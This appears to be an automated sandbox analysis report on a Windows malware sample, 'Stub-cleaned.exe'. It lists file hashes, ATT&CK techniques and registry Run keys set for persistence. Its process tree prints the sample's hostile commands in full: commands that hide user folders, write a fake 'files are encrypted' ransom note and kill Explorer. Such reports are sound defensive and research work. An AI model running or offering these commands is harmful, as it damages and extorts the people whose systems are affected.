eff4c982f3b6fc6615526910a33b67642f24909ef31d9bfc09f3139dbbfc97a6

Analysis

user interaction
yes
max time kernel
150s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 09:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Stub-cleaned.exe
Size 1.8MB
Sample260717-llf3ragv5j
SHA256 eff4c982f3b6fc6615526910a33b67642f24909ef31d9bfc09f3139dbbfc97a6
MD5 1ea0ce526759933131844a1c83edf0bc
SHA1 c35a1f26867944c9b9adb1c438a82d760033732a
SHA512 52a7dd3c003e4a178f0a84df9b05d20b523f6d010cd519015e002d6a019e736618a472a301e46276a9a7f94192efb8d3fb9f4145985084c8e3932be3807543a6
SSDEEP 49152:w4Fq+sL2An+xwULQBK+orsQ5PNzdNvtoB7mQvxypk:w4Fq+sLiZWKbswd3I7m
TLSH
T1AF851249639B8A7DC7BD837DE560224907F45237C123FB8C98A5E4BC4A2B3135B52B87
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Stub-cleaned.exe\" -startup"	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Stub-cleaned.exe\""	Stub-cleaned.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	Stub-cleaned.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3276	cmd.exe
2640	cmd.exe
1624	cmd.exe
696	cmd.exe
5520	cmd.exe
2064	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4264	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2960	Stub-cleaned.exe
2960	Stub-cleaned.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2960	Stub-cleaned.exe
Token: SeDebugPrivilege	4264	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2960 wrote to memory of 5520	2960	Stub-cleaned.exe	90
PID 2960 wrote to memory of 696	2960	Stub-cleaned.exe	91
PID 2960 wrote to memory of 1624	2960	Stub-cleaned.exe	92
PID 2960 wrote to memory of 2640	2960	Stub-cleaned.exe	93
PID 2960 wrote to memory of 3276	2960	Stub-cleaned.exe	94
PID 2960 wrote to memory of 2064	2960	Stub-cleaned.exe	95
PID 2960 wrote to memory of 4264	2960	Stub-cleaned.exe	96
PID 3276 wrote to memory of 6020	3276	cmd.exe	114
PID 2640 wrote to memory of 4132	2640	cmd.exe	115
PID 696 wrote to memory of 3212	696	cmd.exe	116
PID 5520 wrote to memory of 2652	5520	cmd.exe	117
PID 2064 wrote to memory of 5804	2064	cmd.exe	118
PID 1624 wrote to memory of 932	1624	cmd.exe	119
PID 1624 wrote to memory of 6004	1624	cmd.exe	120
PID 2640 wrote to memory of 4124	2640	cmd.exe	121
PID 3276 wrote to memory of 5044	3276	cmd.exe	123
PID 5520 wrote to memory of 4652	5520	cmd.exe	122
PID 696 wrote to memory of 4444	696	cmd.exe	125
PID 2064 wrote to memory of 1932	2064	cmd.exe	124

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1932	attrib.exe
932	attrib.exe
5804	attrib.exe
3212	attrib.exe
4132	attrib.exe
4124	attrib.exe
5044	attrib.exe
4444	attrib.exe
2652	attrib.exe
6020	attrib.exe
6004	attrib.exe
4652	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
"C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2960
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5520
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2652
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:696
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3212
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:932
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:6004
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4132
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:6020
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:5804
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1932
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4264

C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
"C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe"
1⤵
PID:1196

C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe
"C:\Users\Admin\AppData\Local\Temp\Stub-cleaned.exe" -startup
1⤵
PID:5720

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\Documents\info-Locker.txt
Size 72B
SHA256 a65e54baa7abed4c328705753fcbbeec7665274e3b86647fa1af76b58f5cd1f8
MD5 35d91a01d0c36f74c15d56911bceda67
SHA1 3f0f3f04572aab809e82745684e5bfe503661dea
SHA512 a484562989909a6332769e46468311f3015f8294ba6305ff7b9a59048c94c43974ef6b3025dbb4ebabc56207de559902d92e77a5af86cde515a4d5ccf0c5e8af
TLSH
T1BCA011202C28A28820A020F2BA32A00028B8AA0C20232C82820022A220200822AAA820
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2960-11-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-2-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-3-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-4-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-5-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-6-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-8-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-9-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-0-0x00007FFC3D47F000-0x00007FFC3D480000-memory.dmp

Download

memory/2960-10-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-14-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-13-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-12-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-1-0x0000000000890000-0x0000000000A5A000-memory.dmp

Download

memory/2960-27-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-28-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-29-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-30-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-31-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download

memory/2960-32-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

Download